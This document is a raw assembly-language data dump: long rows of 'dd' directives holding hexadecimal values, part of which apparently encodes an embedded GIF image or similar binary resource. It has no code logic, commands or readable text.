dd 10E3BFBBh, 0BFABFD00h, 2BFCBFEh, 5C04C03Ch, 0C01BFCC0h
dd 5C09C06h, 1C03C08Ch, 0C0AC0CC0h, 12C11C10h, 0BBEEBF9Ch
dd 0BC70950Ah, 0A05E2B94h, 0E551A138h, 0FF0CBBCh, 0D90E10EDh
dd 5C24C230h, 1C23C2h, 27C28C24h, 6C25282Ch, 0C2FC2636h
dd 29C2E0D9h, 1C27C2CCh, 0C2B281C3h, 28C2AC37h, 0DC31C34Ch
dd 0C37C33C2h, 35C2AC2Fh, 0BC3CC3DCh, 0C44C40C3h, 32C34C3Ah
dd 9C38C32Ch, 0C4CC40C4h, 30C3BC36h, 0D0E1C25Ch, 0CB0FF0Eh
dd 0B34FBBF1h, 0D0AB094Bh, 0DA0E30Eh, 62C61C60h, 10DAC63Ch
dd 0C62C6500h, 66C60C66h, 6C63C643h, 0C61282C6h, 72C6AC69h
dd 0FC6A281Ch, 0C74C73C6h, 75C76C70h, 1C7BC78Ch, 0C74C79C7h
dd 0C69C7EFEh, 84C6DC82h, 0EC7AC65Ch, 0C87C82C6h, 88C71C7Fh
dd 2C6CC7ECh, 0A4AFBC6h, 8FC18089h, 0C8AAC1AAh, 0F4550C1h
dd 200C9047h, 0C96D0DFCh, 0D100196h, 0A394FCA1h, 0CA6CA4Ch
dd 96DCA595h, 0ABCA3CA9h, 0CCA5CA4Ch, 0CAECA8CAh, 51CA2CB1h
dd 5CB3CB09h, 0CA2CB8CBh, 0A7CB2CAFh, 4CB7281Ch, 0CC1CC0CBh
dd 0C1CADCC0h, 9CAFCC4Ch, 0DF96DCAh, 590C9C56h, 0C0F84FACh
dd 0A908906h, 0D40D7C5Eh, 7CD6CD5Ch, 10D7CDh, 0DBCDACD4h
dd 0CCD5CDDCh, 0CDBCD8CDh
dd 0E0CDCCE0h, 0FCE2CD9Ch, 0CE4CD6CDh, 0DECDECE3h, 9CE4CE5Ch
dd 0CEBCD8CEh, 0F4CE6CE8h, 0ECE8CF3Ch, 0CECCE7CEh, 0F3CEFCF4h
dd 1CF6281Ch, 0AFBCD6CEh, 9408309Fh, 2BCAA4ACh, 0C1DBCC62h
dd 0EC0FFC9Bh, 0F94D0DD0h, 0D11D10D0h, 13D10001h, 5D15D0FDh
dd 0D19D11D1h, 14D1894Dh, 0C0CFD1DDh, 0D16D17D1h, 20D1ED1Bh
dd 2D22D23Dh, 0FE9D24D1h, 0D25D27D2h, 26D27D2Bh, 0CD2ED1CDh
dd 0D1AD2CD2h, 0EC0DD94Dh, 7CCC0FF0h, 6C0F9B4h, 0EC09F086h
dd 10D30DE0h, 0D43D42D4h, 10D3D44h, 8D47D410h, 0D42D4AD4h
dd 4BD45D49h, 6D4DD4BDh, 0D52D4FD4h, 51D51D45h, 8D53D4CDh
dd 0D43D5AD5h, 50D56D4Dh, 0ED5AD55Dh, 0D59D54D5h, 5CD61D5Fh
dd 0ED4ED4EDh, 9C0EC0Dh, 0D4D05080h, 9629D07Ah, 0F9550D0h
dd 0FF0C4047h, 30D90E90h, 192B94h, 2A36AD7Bh, 9D7A2819h
dd 92DD7C92h, 86D82D83h, 0BD87D7FDh, 0D85D830Ch, 8DD89D8Ah
dd 0CD7ED8ADh, 0D8BD8C92h, 94D8ED7Bh, 5D98D88Dh, 0D8E36FD8h
dd 66D90D98h, 9D7AD963h, 0FF0E90Dh, 0F9CCD0C4h, 0F06C0F64h
dd 0EB09807h, 0AE0CD0DCh, 1DB0DAFDh, 10CDDBh, 0B3DB4DAFh
dd 8DB6DAEDh, 0DB0DB2DBh, 0BEDB7DB9h, 1DBFDBADh, 0DBCDB5DCh
dd 0B5282DBCh, 0ADB3DBDDh, 0DB9DB236h, 0CEDB6DBDh, 9DC3DCBDh
dd 3FE66DCh, 0DB1DC7DCh, 0CDDD1DCFh, 0CDBBDBBDh, 950EB0Dh
dd 6AD6E07Dh, 44FCB495h, 0FF0C1D7h, 0C70D60E5h, 0BDEADE90h
dd 1DEBDEh, 0ECDECDEDh, 1DF0281Dh, 0DEEDF3DFh, 0F6DF6DEAh
dd 7DF8DE9Dh, 0DEFDFADFh, 0FFDF90C7h, 0CDF3DFDDh, 0E00E04DFh
dd 0FEE05DFBh, 0DF9E02Dh, 0DF4E04E0h, 0FE0EE02h, 50D6E03Eh
dd 0C10FF0Eh, 0B34F8DA6h, 809407DBh, 0CE0DA0Eh, 20E1FE1Eh
dd 10CEE21Eh, 0E24E2000h, 25E23E24h, 0FE29E22Eh, 0E27E27E1h
dd 2BE2DE1Eh, 8E2EE21Eh, 0E2CE2FE2h, 33E2EE32h, 0BE38E2AEh
dd 0E22E30E2h, 3EE36E26h, 4E3BE3AEh, 0E44E35E3h, 1FE2AE46h
dd 20E80DAEh, 0BC8DDF09h, 0FBDE2557h, 50470FA4h, 0C70DFDEh
dd 58E570BAh, 1E59E59Eh, 0E5AE5B00h, 5C0BAE5Eh, 1E57E5FEh
dd 0E64E5AE6h, 5DE63E60h, 0AE68E67Eh, 0E66E6BE6h, 5FE66E61h
dd 0DE6BE6EEh, 0E72E69E6h, 77E6FE58h, 3E7AE71Eh, 0CE69FEE7h
dd 0C7E5FE7h, 66E16B9Ah, 207906CBh, 0D00E009h, 33E48E48h
dd 9E46E3FEh, 0E3CE32E3h, 8FE40E90h, 0AE8BE40Eh, 0E89E45E3h
dd 3DE45E43h, 1E99E8FEh, 0E34E41E3h, 89E8DE95h, 0D0E21Eh
dd 790920Eh, 70B16DE0h, 0FD72630Dh, 0BFE5254h, 0C10D90FFh
dd 5EB40B60h, 0EB6EB6EBh, 0BAEB8001h, 5EB90B6Eh, 0EB7EBDEBh
dd 0BFEBBEBEh, 3EB4EBCEh, 0EBFEBDECh, 0BEEC2EC7h, 7EC1EC9Eh
dd 0ECCEC8EBh, 0C8EC5EC5h, 4ECDED1Eh, 0ECDED3EDh, 0C4ED4EC6h
dd 0ECBED8Eh, 0C1EB7ECh, 0BF0FF0D9h, 0F4F7E170h, 770690Eh
dd 0A3E1D092h, 0BE2CE9FEh, 0E37E47E9h, 97EEDE94h, 8EF4EA2Eh
dd 0EF7EEEE3h, 9AEF6EECh, 8E9EE8AEh, 0EF5EF1EFh, 0DAEEBE9Eh
dd 306F0940h, 682C95B9h, 538C78B0h, 1EB1EAF5h, 0E5EE620Ch
dd 5B366E70h, 3E7D282Eh, 0F16281F1h, 14E76E64h, 3E79E78Fh
dd 0F19F17E6h, 1FE71F14h, 1E78E7CFh, 0EE6CF2FEh, 0F28F17F1h
dd 26E6EF28h, 7F12F21Fh, 0F0FF23E7h, 0E2EE00BAh, 64F6EE4Eh
dd 0EE906FEEh, 92EECEEBh, 8F01366Eh, 0E25282E2h, 37EA0281h
dd 6EF3F43Eh, 0E23E8CEFh, 46EEDF41h, 3E2FE93Fh, 0E8EE3DF4h
dd 4DF4AEF3h, 7F3EE39Fh, 0EF4F57E9h, 0DA0CEF3Bh, 0EF050920h
dd 0EAB84BE4h, 4EEAD64Ah, 0F0440FA5h, 0D50FD0Bh, 6CF320C6h
dd 0EF1DF6DFh, 0F71F70F6h, 15F73F72h, 7F76F74Fh, 0C6E62F7h
dd 0BF0FD0D5h, 0F4FBB7D0h, 6F0700Eh, 0D80E0095h, 0CF86F5B0h
dd 0F87F4EEFh, 8CF8BF8Ah, 0FF8EF8DFh, 0D8F8AF8h, 7006FEA6h
dd 555F600h, 53AB2E5h, 0DD0F40C2h, 0FD340D90h, 0F9FFA0F9h
dd 0A4FA1D30h, 7FA6FA5Fh, 0FA3FA1FAh, 0ACFABFA8h, 0D0D9FA4Fh
dd 0C20F40Dh, 0F34FCAF2h, 306F07A0h, 0C00B408h, 0BC0CC0C8h
dd 0FFBEFBDFh, 0FC1FC0FBh, 0C3001FC0h, 7FC6FC2Fh, 0FC9FC8FCh
dd 0CCFCBFCAh, 0FECEFCDFh, 80CCFCFFh, 0B40C00Ch, 1406F07Dh
dd 6F08C19Bh, 0EAEC988Ch, 0E50A807Eh, 10E90E50h, 0FE3FE2FEh
dd 0E6FE5FE4h, 9FE8FE7Fh, 0FEBFEAFEh, 0EDFEDFECh, 1FEE001Fh
dd 0FF3FF2FFh, 0A8FDFFE3h, 8B4707E0h, 680930Fh, 0A508E05Ah
dd 1000B70h, 8240D8ACh, 441E0D05h, 30D8B098h, 3E180186h
dd 0E2511884h, 2D0A8944h, 5198C45Eh, 0A8E46E3h, 0E52ADE19h
dd 499A0B48h, 449DE2FAh, 4AE55299h, 0BE5D2D96h, 5ECF1784h
dd 0E45C1F8Fh, 5399C4DCh, 3F2E4E27h, 178BD87Ah, 0A250E5F3h
dd 0C3E9E345h, 395B23E5h, 0B1D54D75h, 0EA551A83h, 0AD55AA54h
dd 359AC3B6h, 5DAE55ABh, 0EAD56AABh, 0AA58EC55h, 4592B760h
dd 0BAA9D68Bh, 0E07CD972h, 1F52C932h, 0C26226BBh, 4A64EA24h
dd 7DBE5EEFh, 0AC05FEFDh, 0C260D4F7h, 461F0D85h, 6054F89Ch
dd 3F1D8DC6h, 72591C86h, 129DC1E0h, 84A31185h, 9DA35C5Dh
dd 8CFEB73Dh, 4EE6B339h, 0FE7B3AD2h, 7559FA0Ch, 9EED7A51h
dd 0F6761A4h, 0F87CBE5Fh, 9DC6DF6Ch, 0DE6D36FBh, 0E6F77DBDh
dd 70F85C17h, 0D37FC3E2h, 0F8EFF7FEh, 99CADEF2h, 5D1E873Fh
dd 0D4EA74FAh, 0F363B1EDh, 96BD1DA4h, 1181EEF4h, 9F4E6622h
dd 9FCDE53Fh, 0FD5E9F47h, 0DDEDF67Ah, 5F1F87BFh, 0F5FA7CFEh
dd 2389F7E5h, 7B980846h, 0EFFF57DCh, 6C9A342Ch, 0D3C0AD2Ah
dd 400A1280h, 0E7825105h, 68DA4D1Fh, 27091425h, 0B42B0A4h
dd 4330C42Fh, 0B0E4370Dh, 43F0F43h, 47114431h, 4D0BC56Ch
dd 255049FEh, 0A4C9E078h, 0A0B23B10h, 67194622h, 258A91A4h
dd 4731C46Ah, 0B1E4771Dh, 47F1F47h, 81214832h, 2CC831BCh
dd 932428ECh, 926416D4h, 2B470125h, 9703B4B0h, 0E541726Ch
dd 741E0F6h, 0A1D0701Ch, 4BF2F4Bh, 0C7314C33h, 2DCCB324h
dd 4D3344CFh, 0B364D735h, 84CB374Dh, 0E7394E33h, 753FEA4h
dd 8678F61Eh, 0B1EEA21Fh, 0AC2F9187h, 41503400h, 902B507h
dd 34450F42h, 65174551h, 1F4751B4h, 47D23485h, 0BF4850Dh
dd 0AFE9EE46h, 94194D4Ah, 0A528C069h, 4DC109F4h, 1EC78401h
dd 2649B27Bh, 25546218h, 5F5755A6h, 6355B585h, 56B5A566h
dd 35C56F5Bh, 0E1846357h, 7F5F57B5h, 611835EDh, 0D8B62587h
dd 16456361h, 659664D6h, 9F6759B6h, 64DA3685h, 5AB6A196h
dd 36C5AF6Bh, 5DA96D5Bh, 80771B36h, 7D1E8982h, 1B26D9CAh
dd 3745CF73h, 0B1A86CDDh, 0DF775DA6h, 795E3785h, 5EB7A5E7h
dd 37C5EF7Bh, 0E5F77D5Fh, 0CF7C5D97h, 7D9C86DDh, 0CAB51BFCh
dd 0D4FC0927h, 2CA950B4h, 0F898B3F8h, 89622E49h, 62B8A627h
dd 38C62F8Bh, 0E6378D63h, 3F8F63B8h, 7FE43906h, 4567A1F8h
dd 3911E8A2h, 66579565h, 5F9765B9h, 8664988Eh, 53B5261Bh
dd 69CE1328h, 0F66914CAh, 7F9F456Ch, 683A06FEh, 0BA2687A1h
dd 468FA368h, 97A5693Ah, 0A769BA66h, 69EA2E81h, 0BAA6A7A9h
dd 0C6AFAB6Ah, 9B9E683Ah, 8567183Ch, 0EB79DB51h, 0BB26B3A8h
dd 46CFB36Ch, 0D3B1E8BBh, 0B76DBB66h, 0EC5A3EDFh, 9AF6BB05h
dd 96C385A7h, 0F7BD6F3Bh, 0BF6FBBE6h, 703C06FFh, 0D27707C1h
dd 0D6EB8466h, 17C57099h, 0C771BC67h, 0F23C871Fh, 5BAEE9BFh
dd 0C725C48Eh, 37CD733Ch, 0CF73BCE7h, 0F2BC360Dh, 0BCFF2E9Bh
dd 474FD374h, 79D5753Dh, 0BBF11CA6h, 763D8757h, 0DDA767D9h
dd 26BDD6F3h, 77DD76BDh
dd 0DF77BDE7h, 0F45D0EB9h, 0BE277FDCh, 0A78FE378h, 879C76FDh
dd 0E779BE47h, 719E879Fh, 3E6613E5h, 0C7AFEB7Ah, 45E07B3Eh
dd 0D7F71C3Bh, 7C3F07B5h, 3157C7F1h, 70B9CAF8h, 4A7C87A2h
dd 0F77DBF26h, 1E1E47DFh, 0C1E9F27Ah, 2E71EE89h, 0D61F89C3h
dd 0FF6E0A0Fh, 6007FFh, 2403805h, 780D016h, 0FE3C5ABCh
dd 2703F7E6h, 72744194h, 7E160328h, 11F58FC0h, 0C4177E0Ch
dd 474F0660h, 0E3F1F98Fh, 0A0705807h, 93D0CAE8h, 54C6D0E0h
dd 0A614427h, 1642B855h, 2F85D0B6h, 650C6184h, 0D61A4338h
dd 0C43786D0h, 0B8750E61h, 0D0F61E43h, 62043F87h, 44388510h
dd 3826D219h, 8A10935h, 9F03F825h, 4F89C0F4h, 0A5146284h
dd 562A4538h, 0C4578AD1h, 0B8B51662h, 0D1762E45h, 63045F8Bh
dd 4638C518h, 8CD19632h, 1A634467h, 2D46B8D5h, 4983F132h
dd 9D08E07Ch, 0D6374730h, 0C4778ED1h, 0B8F51E63h, 0D1F63E47h
dd 64047F8Fh, 48390520h, 90D21642h, 22644487h, 4648B915h
dd 8F91D236h, 0E7206484h, 3E383F68h, 185C8210h, 0B9341721h
dd 0D2764E49h, 65049F93h, 4A394528h, 94D29652h, 2A6544A7h
dd 564AB955h, 0AF95D2B6h, 652C6584h, 0D65A4B39h, 34B796D2h
dd 692B08E5h, 0D2F65E49h, 6604BF97h, 39688530h, 0D316624Ch
dd 6644C798h, 4CB99532h, 99D33666h, 346684CFh, 6A4D39A5h
dd 0D79AD356h, 0B53666C4h, 766E4DB9h, 4DF9BD3h, 39C53867h
dd 0D396724Eh, 6744E79Ch, 4EB9D53Ah, 9DD3B676h, 3C6784EFh
dd 7A4F39E5h, 0F79ED3D6h, 0F53E67C4h, 0F67E4FB9h, 4FF9FD3h
dd 3A054068h, 0D4168250h, 684507A0h, 0D0BA1542h, 40684h
dd 3Bh, 0
dd 38464947h, 21D6137h, 0E700A4h, 10000h, 5010603h, 9030408h
dd 0A0D0B0Dh, 13101311h, 15111214h, 1A181417h, 1A1C1B17h
dd 201C201Eh, 24221E22h, 23272521h, 2A262927h, 2E2C282Ch
dd 2C302E2Ah, 37323230h, 3B393539h, 3A3D3B37h, 423D403Eh
dd 46444044h, 4C4C4A46h, 534E5250h, 58565255h, 5C5B5854h
dd 66616360h, 6B686468h, 5F6E6C67h, 74598972h, 73716C89h
dd 5F8A755Ah, 7D628F7Ah, 95806592h, 73CA8A33h, 816A7F7Fh
dd 97806D91h, 9093826Ch, 8F3F677Ch, 0CB8758BCh, 79B8913Eh
dd 86708585h, 97857697h, 7287847Fh, 8A569988h, 9A8973DBh
dd 41DD8C58h, 8C80FF91h, 9F8D7E8Ch, 82A08F78h, 94688F8Eh
dd 0FF9646A7h, 85FE9352h, 937B9191h, 0F69854B0h, 7E949387h
dd 9778A695h, 0A7967FA7h, 80A89586h, 9A59A897h, 0A99881FFh
dd 8BFF9E50h, 9C5B9897h, 0C8997CFFh, 699A998Dh, 9C66E89Ch
dd 0BAA270FCh, 609C9C8Fh, 9C8DFFA1h, 0AA9D91AFh, 91A59F8Fh
dd 0A27FA7A1h, 0FEA46DD7h, 97A3A396h, 0A965B0A2h, 0FFA76FFFh
dd 66C9A97Bh, 0AA70FFAAh, 0ADA797FDh, 7AB3A69Ah, 0A89CC1AFh
dd 0FFAE75A9h, 0A1B4AD9Dh, 0AD9EBAADh, 0FFB280CDh, 98B6B0A0h
dd 0AEA3CEB0h, 0B7AFA7C8h, 6FDCB392h, 0B78FFEBAh, 0DDB493C5h
dd 94B9B3A3h, 0B58BDEB5h, 0C1B3A8FEh, 0A9FFB984h, 0BC8EBFB9h
dd 0FEBA96FEh, 0B3FFBF91h, 0BDB5C3BBh, 0C6BFAFC6h, 9AE6C1A5h
dd 0C2B1FEC2h, 0FFC49DC8h, 0A2CBC4B4h, 0C6A4F7C7h, 0F7C6A9FDh
dd 0BECDC5BDh, 0C8B8CFC6h, 0D0C7BFCEh, 9FFFCAA8h, 0CAADFDCEh
dd 0D2CBBBFCh, 0C1FDCDA7h, 0CCB0D2CAh, 0FFCFA9FEh, 0B8FFCFB2h
dd 0D1C1FCD0h, 0D8D0C8D8h, 0B4FFD2BAh, 0D5C5FFD5h, 0FFD6B6DCh
dd 0C2DDD5CCh, 0D8BCFCD5h, 0DFD8C8FDh, 0BAFED7C4h, 0DCB7F8DBh
dd 0E0D8CFFFh, 0D4F9DAC2h, 0DBCBDBD9h, 0FFDAC6E2h, 0CBE2DAD2h
dd 0DDCCFCDAh, 0E4DBD3E3h, 0C6E5DCD4h, 0DFCEFDDEh, 0F9E1C5E5h
dd 0D6E0DED8h, 0DFDAE7DEh, 0E8E0D7E2h, 0D2FBE3C7h, 0E0DBE9E2h
dd 0FBE2CEE3h, 0D9E9E1D8h, 0E2DCEAE2h, 0F8E3D4E4h, 0DDEBE3DAh
dd 0E6D5E5E3h, 0E6E4DFECh, 0CCFAE7CFh, 0E7D6FFE8h, 0FAE4DCEDh
dd 0E0FAE6D6h, 0E7D7E8E5h, 0E9E6E1FBh, 0E1E3E4EAh, 0E4EDF5E5h
dd 0F0E7DFDDh, 0E2F0E9D9h, 0E6E2EAE7h, 0F6E8DCF6h, 0E3F1EADAh
dd 0E7E3EBE8h, 0F2EBDBF7h, 0E4ECE9E4h, 0ECDCF8E8h, 0EDEAE5F3h
dd 0DDFAECE0h, 0ECE6F4EEh, 0F5EBEAEEh, 0DCEFEDE7h, 0EEE5FDF0h
dd 0F2EFEAF7h, 0EBF9F0E8h, 0F1E4F3F0h, 0FFF3DFFFh, 0E9F4F1ECh
dd 0F2EDFAF2h, 0FBF1F0F5h, 0EFF6F3EEh, 0F6F0F7F5h, 0F9F7F2F8h
dd 0F3FBF6F9h, 0F8F6FBF8h, 0FCF9F4F4h, 0F5FCF8FAh, 0F8FEFDFAh
dd 0F7FAF8F7h, 0F9FEFBF6h, 0FCFAF8FBh, 0FFFDF7F9h, 0FEFAFDFBh
dd 0FEF8FFFCh, 0FBFDFFFFh, 0FCFFFFF9h, 0FFFEFBFFh, 2CFCh
dd 21D0000h, 80000A4h, 98700FEh, 20B0481Ch, 9AC366C1h
dd 0B0C68B35h, 0D48643A1h, 489C4A22h, 8BB5E231h, 0DC6A3318h
dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5346730Fh, 0CFA0D098h
dd 2A79039Fh, 61B0A85Ch, 90D48851h, 512A5CDEh, 50A7D3A6h
dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D31AED48h, 1A915FAFh
dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
dd 0BF7DC3E1h, 91B6D49Eh, 8E6D5631h, 38C6469Dh, 0BDE42AB9h
dd 0D35F2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0ED1B0E2h
dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
dd 9B02A018h, 47A6D8h, 89B6D87Ah, 2005D502h, 461083E0h
dd 1484E128h, 1541C7EEh, 8081B6h, 0C145B608h, 86208541h
dd 2488E228h, 109E2896h, 4D76D41Eh, 80246402h, 81E369Ch
dd 348CE261h, 8DE368D6h, 40E24202h, 0A03C7A6Dh, 420903CDh
dd 902400D6h, 40E0D5h, 9706404h, 519C0164h, 4DA0480h, 10305A0h
dd 9305D004h, 0A54949B5h, 1A5B595h, 80B0041h, 648E20E1h
dd 99E66996h, 0AB02220h, 0A0A82064h, 6A1C0A8Dh, 90020A73h
dd 240150C9h, 0C21280D4h, 606E4C05h, 525120CBh, 63176440h
dd 0A0E8198Eh, 40820263h, 419CC31Bh, 4668A180h, 94A4E92Ah
dd 95C1A7BEh, 89792E2Bh, 0A168DA8Bh, 2C0B6401h, 32FDB52h
dd 93280930h, 25896480h, 0B36AAAAAh, 0B5FE1381h, 0ACE95989h
dd 0AB6AD6B4h, 0A8703B73h, 4DB504C7h, 3B07E090h, 1B4B66D4h
dd 24709069h, 9964C393h, 686AAECh, 90946CB0h, 281B59A9h
dd 0ED6ADE90h, 5A56D8B5h, 80DA0448h, 0B9642C10h, 2141036Ah
dd 0C051E990h, 30D41C03h, 41B6A148h, 0CCAAEECAh, 345B5352h
dd 0EF6B66D5h, 7896F8BDh, 2CAF018Dh, 0AB6D4A70h, 18AB028h
dd 5903DC8h, 0BC2EFC0h, 2F0CC2EDh, 90BFC06Ch, 0C4EF9B51h
dd 611C5714h, 70602406h, 6424061Bh, 596D6CA0h, 0C270DC24h
dd 1A642EEh, 51399086h, 0B72CC5AFh, 327BF2ECh, 6DAB000Ch
dd 5B50CB2Ah, 62BC2105h, 8805154Bh, 3FC3325Ch, 1D40A217h
dd 0C071B4C3h, 0AD272FCAh, 1DED2F4h, 0B72D8032h, 0AA4032D9h
dd 41625D90h, 70540300h, 0C2EDCF86h, 6D36B3FBh, 2801048h
dd 0F4C0103Bh, 0DA768D9h, 0A81025E2h, 70DBF6EDh, 0EC077D7h
dd 88B350ABh, 0ADC63205h, 7CDEFEF7h, 587A793h, 77903E8Fh
dd 6E1784DFh, 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h, 0A36E4790h
dd 67655E57h, 6798E5F9h, 9CE6F9AEh, 0E7F9EE77h, 0FA2E87A0h
dd 4763A4E8h, 9D5E7579h, 0ACEAD405h, 0EBFAEEB7h, 0FB2EC7B0h
dd 6ED7B4ECh, 0E7B8EDFBh, 0BCEEFBAEh, 0EFFBEEF7h, 0FB1F07C0h
dd 77455D50h, 0FD03344Dh, 0CCF2FCA2h, 0F3FCEF37h, 0FD2F47D0h
dd 6F57D4F4h, 67D8F5FDh, 0DCF6FDAFh, 0F7FDEF77h, 0FE2F87E0h
dd 6F97E4F8h, 0FD7F9FEh, 0C68BCD14h, 3ECC3579h, 4F83E0FBh
dd 6FD7F43Dh, 0E7F8FDFFh, 0FCFEFFAFh, 0FFFFEFF7h, 0A00C00h
dd 2C04807h, 880F01Ah, 1702A04Ch, 3A06C0C8h, 8C1081F0h
dd 7E4FFE0h, 2F1461BFh, 1F7BC739h, 0F21E43Eh, 83F07878h
dd 8A10C20h, 12C24847h, 2884F09Ah, 570AA14Ch, 0BA16C2C8h
dd 8C3085F0h, 48670CA1h, 0F0DA1AC3h, 0A1CC3886h, 4298770Eh
dd 1F63E20Eh, 9F58C3FEh, 9081AE72h, 1DC3C20Dh, 12A24C48h
dd 26C4C897h, 5089F13Ah, 0A714A28Ch, 5A2AC548h, 0CC588AF1h
dd 0C8B716A2h, 0F17A2EC5h, 0A30C608Bh, 0C648C718h, 1E115632h
dd 4247C0F2h, 6A1C47D8h, 1B17E334h, 0E70F0774h, 0DA3AC748h
dd 0CC788EF1h, 0C8F71EA3h, 0B1FA3EC7h, 0E348EE85h, 0AF219A2Fh
dd 186350E4h, 11C7A8BFh, 46C8C8FFh, 9091F23Ah, 2724A48Ch
dd 0CA164949h, 0B0BF1EB1h, 990E72A0h, 0F25645C8h, 0A50CA093h
dd 0CA494728h, 92F1F252h, 71A42C99h, 3948A938h, 0B095F29Ah
dd 672CA58Ch, 0A2474B49h, 44869352h, 0C96B2B64h, 0F2FA5ECBh
dd 0E60CC097h, 1C59552Dh, 98327A56h, 32A64CC8h, 3C4CC997h
dd 0BA93730Eh, 0A733663Ch, 5A6ACD49h, 0C48B9AF3h, 19572E24h
dd 0F362574Dh, 0A70CE09Bh, 0CCF94538h, 9BD2765Ch, 3AA74CE3h
dd 39CEC9D7h, 0E79B9396h, 0E73CA76Ch, 9E7ACF49h, 0FEC59DF0h
dd 0F73DA6ECh, 8E7ECFC9h, 0D46D9F13h, 4A073FA7h, 130A82D0h
dd 6624DA1Eh, 0D069E340h, 0A1F43A86h, 706804A3h, 884E898Ch
dd 18A2F45Ah, 8144A3DDh, 7A8CD143h, 0CD20A3F4h, 0D37F46E1h
dd 0F49A90D1h, 0E14528A4h, 0D2537D48h, 0A5F4BA94h, 6F695D27h
dd 9AD30A5Ah, 32A214DAh, 6F4D0DD5h, 0F29ED3CAh, 0D9B9A733h
dd 4A874FA9h, 15027554h, 0AA2D4237h, 0CD5A9752h, 0A926DEA3h
dd 54AA8D4Ch, 0DB54E981h, 5583F540h, 0E156AACAh, 76648011h
dd 6D5F8E75h, 38FD5864h, 0D59690D6h, 61E56783h, 56B9215Ah
dd 36B5563Bh, 59611557h, 0B0CF3ADBh, 7785D5D2h, 0F35D212Dh
dd 62BE423Ah, 357E9ED5h, 19D95CE1h, 34229158h, 6864D095h
dd 503B070Ah, 0B0B0E2BBh, 0BEBDC20h, 6B590B0Bh, 7FAFB656h
dd 0DF1FAC25h, 86B8990Ah, 8D59B070h, 0CAD1686Ch, 0B56EAFD5h
dd 6AE5A3AFh, 0DA9AD169h, 0B4F6B6CFh, 92FEADAAh, 5B2B596Ah
dd 0B4B666D2h, 6CAD15B5h, 0DE5A9ABBh, 0A3B5F69Ah, 5D6C2D3Dh
dd 6AC5BCBh, 0C5B9B8F7h, 3B6B6FEDh, 15A6D0DCh, 2B3DBEB6h
dd 591BA163h, 0B69726D2h, 722EA563h, 0EADBDAFFh, 0D7BBB70Ah
dd 0A96DECFDh, 8ADF599Bh, 9DC5BC17h, 2B99702Eh, 763AE25Eh
dd 0E53DB3BDh, 4F99B761h, 0AE70A2C5h, 6CEF8D8Eh, 0B95D9B73h
dd 0B6B57756h, 0F76DF00Dh, 0AFE5FFBh, 0FE05B4D8h, 0C0D82AFh
dd 0B822FD60h, 0AE9603BCh, 0E01C0F71h, 0C2B83AFEh, 7FAD6609h
dd 1DF9BCBh, 0B6C336C7h, 4785EF0Dh, 32FCDFCCh, 0DE1DC2D8h
dd 4B8B5F2Fh, 0D73F1261h, 2F3DEFC4h, 0E0AC3F88h, 0C2789F16h
dd 36ACE47Dh, 12635B3Ch, 7AC2D8CFh, 8780B16Dh, 171FE36Ch
dd 1611B059h, 4C217EB2h, 1886F6E4h, 0ECC628C4h, 651C8991h
dd 0C1F7C70Fh, 86F2664Fh, 24E04C9Dh, 55CB58FBh, 0B18D6C5Eh
dd 972DE5DCh, 6DCFCCB9h, 0A58AFE72h, 0E725E61Ch, 0F63CC751h
dd 4AB58A30h, 55AF3A66h, 2D6DBAB8h, 678B8D8Eh, 0AED99F2Dh
dd 9D714D6Dh, 3E79CE9h, 84C0BA07h, 0D3A272BEh, 5AF65D8Ch
dd 0CE12CDB9h, 0DCCFA4B2h, 797F29E3h, 73B658D2h, 0E4084993h
dd 0D21A6F3Fh, 9933E618h, 0E0E9CBC7h, 0F3C7391Ah, 544E855h
dd 0AB31E62Ah, 0AE5BD2B9h, 0CC190AB3h, 788F5965h, 753E0BCFh
dd 0E8CCA9ACh, 0CCDA9349h, 99B5AEBFh, 4B632D6Dh, 97CADA8Fh
dd 0D7ADB64Eh, 1B2969BCh, 66BAD3FBh, 0ECEFA871h, 5AEB69E6h
dd 0EC4EA9A3h, 0EC2D672Eh, 0D9DA776Ah, 0B1E15E9Eh, 47E4AD95h
dd 96DBF97Bh, 839B74AEh, 0DF666B0Dh, 0BEEDDCFAh, 3DA9A9F2h
dd 1B2F256Ch, 613EE0CAh, 6E0DEFA7h, 0DD7B4B62h, 0B3F7EDDCh
dd 6D509D51h, 0DDDF534Bh, 35B9B506h, 6348EEFCh, 2E80E07Ah
dd 1CFDBCB7h, 0BBBF4766h, 0F726FCC2h, 5E1D25C4h, 0D2FB1785h
dd 0B5F84F16h, 0E60B7FFEh, 0E118CF4Ch, 9DF866F0h, 0F1EAEC4Dh
dd 38DBDBFAh, 6B65F8AEh, 0DF566708h, 95CADBB7h, 4CF99EB3h
dd 5A16E1E9h, 39CE5ED4h, 622D01CFh, 0B9BC9EE7h, 762DA5BBh
dd 0DEEFFD4Bh, 44BD7732h, 51D0FA5Fh, 2F6AEB4Bh, 0E2CE919h
dd 4E83D434h, 572EF860h, 0F20F57EAh, 0EE3E95CFh, 0DBFD56D8h
dd 0B37B0746h, 0B4E40ED3h, 0E6E0B7CBh, 2154F6DCh, 0D63C733Ah
dd 0C777925Dh, 6E6B2FEBh, 3437B9DFh, 0FC0475EFh, 0EE2F0523h
dd 0EE3B67BDh, 637BF707h, 5F560F09h, 8FDF5E32h, 0E5DF246Fh
dd 5BCAF8AEh, 4F93949Eh, 0CF37E5FCh, 0BE6647F9h, 0BD0F9DA2h
dd 770DB1E8h, 0F47E5278h, 3BBD4FA8h, 0CD7A6F0Fh, 91AEF287h
dd 0E5EC649Fh, 0CF3B590Ah, 8DCD963Eh, 0D3574A4h, 0FED3DB4Ch
